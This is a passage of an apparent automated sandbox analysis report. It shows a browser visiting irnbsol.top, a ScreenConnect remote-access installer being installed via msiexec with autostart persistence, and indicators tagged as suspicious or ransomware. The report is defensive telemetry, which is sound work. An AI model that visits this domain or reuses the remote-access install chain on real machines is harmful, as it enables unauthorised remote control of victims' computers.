Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-20dcd249ab2ac2f7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
5936	msiexec.exe
5936	msiexec.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
5936	msiexec.exe
5936	msiexec.exe
4868	msedge.exe
4868	msedge.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2996	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2996	msiexec.exe
Token: SeSecurityPrivilege	5936	msiexec.exe
Token: SeCreateTokenPrivilege	2996	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2996	msiexec.exe
Token: SeLockMemoryPrivilege	2996	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2996	msiexec.exe
Token: SeMachineAccountPrivilege	2996	msiexec.exe
Token: SeTcbPrivilege	2996	msiexec.exe
Token: SeSecurityPrivilege	2996	msiexec.exe
Token: SeTakeOwnershipPrivilege	2996	msiexec.exe
Token: SeLoadDriverPrivilege	2996	msiexec.exe
Token: SeSystemProfilePrivilege	2996	msiexec.exe
Token: SeSystemtimePrivilege	2996	msiexec.exe
Token: SeProfSingleProcessPrivilege	2996	msiexec.exe
Token: SeIncBasePriorityPrivilege	2996	msiexec.exe
Token: SeCreatePagefilePrivilege	2996	msiexec.exe
Token: SeCreatePermanentPrivilege	2996	msiexec.exe
Token: SeBackupPrivilege	2996	msiexec.exe
Token: SeRestorePrivilege	2996	msiexec.exe
Token: SeShutdownPrivilege	2996	msiexec.exe
Token: SeDebugPrivilege	2996	msiexec.exe
Token: SeAuditPrivilege	2996	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2996	msiexec.exe
Token: SeChangeNotifyPrivilege	2996	msiexec.exe
Token: SeRemoteShutdownPrivilege	2996	msiexec.exe
Token: SeUndockPrivilege	2996	msiexec.exe
Token: SeSyncAgentPrivilege	2996	msiexec.exe
Token: SeEnableDelegationPrivilege	2996	msiexec.exe
Token: SeManageVolumePrivilege	2996	msiexec.exe
Token: SeImpersonatePrivilege	2996	msiexec.exe
Token: SeCreateGlobalPrivilege	2996	msiexec.exe
Token: SeCreateTokenPrivilege	2996	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2996	msiexec.exe
Token: SeLockMemoryPrivilege	2996	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2996	msiexec.exe
Token: SeMachineAccountPrivilege	2996	msiexec.exe
Token: SeTcbPrivilege	2996	msiexec.exe
Token: SeSecurityPrivilege	2996	msiexec.exe
Token: SeTakeOwnershipPrivilege	2996	msiexec.exe
Token: SeLoadDriverPrivilege	2996	msiexec.exe
Token: SeSystemProfilePrivilege	2996	msiexec.exe
Token: SeSystemtimePrivilege	2996	msiexec.exe
Token: SeProfSingleProcessPrivilege	2996	msiexec.exe
Token: SeIncBasePriorityPrivilege	2996	msiexec.exe
Token: SeCreatePagefilePrivilege	2996	msiexec.exe
Token: SeCreatePermanentPrivilege	2996	msiexec.exe
Token: SeBackupPrivilege	2996	msiexec.exe
Token: SeRestorePrivilege	2996	msiexec.exe
Token: SeShutdownPrivilege	2996	msiexec.exe
Token: SeDebugPrivilege	2996	msiexec.exe
Token: SeAuditPrivilege	2996	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2996	msiexec.exe
Token: SeChangeNotifyPrivilege	2996	msiexec.exe
Token: SeRemoteShutdownPrivilege	2996	msiexec.exe
Token: SeUndockPrivilege	2996	msiexec.exe
Token: SeSyncAgentPrivilege	2996	msiexec.exe
Token: SeEnableDelegationPrivilege	2996	msiexec.exe
Token: SeManageVolumePrivilege	2996	msiexec.exe
Token: SeImpersonatePrivilege	2996	msiexec.exe
Token: SeCreateGlobalPrivilege	2996	msiexec.exe
Token: SeCreateTokenPrivilege	2996	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2996	msiexec.exe
Token: SeLockMemoryPrivilege	2996	msiexec.exe

Suspicious use of FindShellTrayWindow 48 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
2996	msiexec.exe
2996	msiexec.exe
5956	msiexec.exe
5956	msiexec.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 5976 wrote to memory of 4328	5976	msedge.exe	84
PID 5976 wrote to memory of 3712	5976	msedge.exe	85
PID 5976 wrote to memory of 4044	5976	msedge.exe	86
PID 5976 wrote to memory of 5452	5976	msedge.exe	87
PID 5976 wrote to memory of 4044	5976	msedge.exe	86
PID 5976 wrote to memory of 4044	5976	msedge.exe	86
PID 5976 wrote to memory of 5452	5976	msedge.exe	87
PID 5976 wrote to memory of 2804	5976	msedge.exe	88
PID 5976 wrote to memory of 2804	5976	msedge.exe	88
PID 5976 wrote to memory of 2804	5976	msedge.exe	88
PID 5976 wrote to memory of 3048	5976	msedge.exe	89
PID 5976 wrote to memory of 3048	5976	msedge.exe	89
PID 5976 wrote to memory of 3048	5976	msedge.exe	89
PID 5976 wrote to memory of 2288	5976	msedge.exe	93
PID 5976 wrote to memory of 2288	5976	msedge.exe	93
PID 5976 wrote to memory of 2288	5976	msedge.exe	93
PID 5976 wrote to memory of 5644	5976	msedge.exe	94
PID 5976 wrote to memory of 5644	5976	msedge.exe	94
PID 5976 wrote to memory of 5644	5976	msedge.exe	94
PID 5976 wrote to memory of 3724	5976	msedge.exe	95
PID 5976 wrote to memory of 3724	5976	msedge.exe	95
PID 5976 wrote to memory of 3724	5976	msedge.exe	95
PID 5976 wrote to memory of 860	5976	msedge.exe	98
PID 5976 wrote to memory of 860	5976	msedge.exe	98
PID 5976 wrote to memory of 2348	5976	msedge.exe	99
PID 5976 wrote to memory of 2348	5976	msedge.exe	99
PID 5976 wrote to memory of 1816	5976	msedge.exe	103
PID 5976 wrote to memory of 2636	5976	msedge.exe	113
PID 5976 wrote to memory of 2636	5976	msedge.exe	113
PID 5976 wrote to memory of 2636	5976	msedge.exe	113
PID 5976 wrote to memory of 3632	5976	msedge.exe	116
PID 5976 wrote to memory of 2328	5976	msedge.exe	117
PID 5976 wrote to memory of 5432	5976	msedge.exe	118
PID 5976 wrote to memory of 1248	5976	msedge.exe	124
PID 5976 wrote to memory of 2360	5976	msedge.exe	125
PID 5976 wrote to memory of 1248	5976	msedge.exe	124
PID 5976 wrote to memory of 2360	5976	msedge.exe	125
PID 5976 wrote to memory of 2360	5976	msedge.exe	125
PID 5976 wrote to memory of 2032	5976	msedge.exe	126
PID 5976 wrote to memory of 2996	5976	msedge.exe	127
PID 5936 wrote to memory of 4676	5936	msiexec.exe	130
PID 4676 wrote to memory of 5764	4676	MsiExec.exe	131
PID 5976 wrote to memory of 4896	5976	msedge.exe	134
PID 5976 wrote to memory of 4896	5976	msedge.exe	134
PID 5936 wrote to memory of 2280	5936	msiexec.exe	136
PID 5936 wrote to memory of 3324	5936	msiexec.exe	138
PID 5936 wrote to memory of 3832	5936	msiexec.exe	139
PID 712 wrote to memory of 3036	712	ScreenConnect.ClientService.exe	141
PID 712 wrote to memory of 2276	712	ScreenConnect.ClientService.exe	142
PID 5976 wrote to memory of 5956	5976	msedge.exe	147
PID 5936 wrote to memory of 2260	5936	msiexec.exe	148
PID 2260 wrote to memory of 3780	2260	MsiExec.exe	149
PID 5936 wrote to memory of 4496	5936	msiexec.exe	150
PID 5976 wrote to memory of 4868	5976	msedge.exe	151
PID 5976 wrote to memory of 2832	5976	msedge.exe	156
PID 5976 wrote to memory of 2832	5976	msedge.exe	156
PID 5976 wrote to memory of 5192	5976	msedge.exe	157
PID 5976 wrote to memory of 5192	5976	msedge.exe	157
PID 5976 wrote to memory of 1020	5976	msedge.exe	158
PID 5976 wrote to memory of 1020	5976	msedge.exe	158
PID 5976 wrote to memory of 5196	5976	msedge.exe	165
PID 5976 wrote to memory of 5196	5976	msedge.exe	165

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://irnbsol.top
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ff9da60c188,0x7ff9da60c194,0x7ff9da60c1a0
  2⤵
  PID:4328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1984,i,5797358449993835221,9716789641183246919,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1884,i,5029895535564056246,3547079607159977791,262144 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:2
  2⤵
  PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,5486069930529275588,457161683341603414,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:8
  2⤵
  PID:5452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3468,i,764575992366675689,7022707473562109114,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:2804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,15514230505478305345,18040721269714299421,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4836,i,2641529148405687203,9997855839812354720,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:1
  2⤵
  PID:2288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3544,i,5860304951105134575,17575272245495407387,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:5644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4996,i,18120058700781327944,178032881871331605,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1
  2⤵
  PID:3724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5044,i,9479334807380193506,9306103169090011944,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:8
  2⤵
  PID:860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,5360212766634493446,6122018851964631039,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,13340505240533482862,9517300097723433885,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:8
  2⤵
  PID:804
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,13340505240533482862,9517300097723433885,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:8
  2⤵
  PID:1816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6776,i,835923027977632277,7206896674101084328,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:2636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,3309567069995125086,6743540163505641206,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:8
  2⤵
  PID:3632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4812,i,16418751381101338077,13879390695190724811,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6800 /prefetch:8
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,4174612396557311590,17627749322075375319,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:8
  2⤵
  PID:5432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5168,i,17552173259584006973,411271795629755711,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:8
  2⤵
  PID:1248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5136,i,12095347007964785513,10140794917609949230,2097152 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:1
  2⤵
  PID:2360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6792,i,7017896774143094675,17317787720962521382,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:8
  2⤵
  PID:2032
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6964,i,17537042628600528428,1228079893379221324,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:8
  2⤵
  PID:4896
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - Suspicious use of FindShellTrayWindow
  PID:5956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3696,i,14915215479950809132,5786348019409202310,262144 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3684,i,2044256274796624180,13172322769126779309,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:8
  2⤵
  PID:2832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2132,i,8272589114896650354,2443148833079682485,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:8
  2⤵
  PID:5192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4752,i,5446653409938948697,8195003649350577816,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:8
  2⤵
  PID:1020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=776,i,3883656067497861407,12302515464421682717,524288 --field-trial-handle=2336,i,13437445223622761769,13166659441150509083,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:8
  2⤵
  PID:5196

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1400

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5936
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding ECB04A28C06300FDA870A47E0835A34E C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA8F8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240757218 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5764
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2280
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 52506869CEB70000C17C015B5325A9E2
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3324
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 78AE09F26B4624A4463419598453B7E9 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3832
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 57C5A0661FB62003E31970B8EF555D67 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\SysWOW64\rundll32.exe
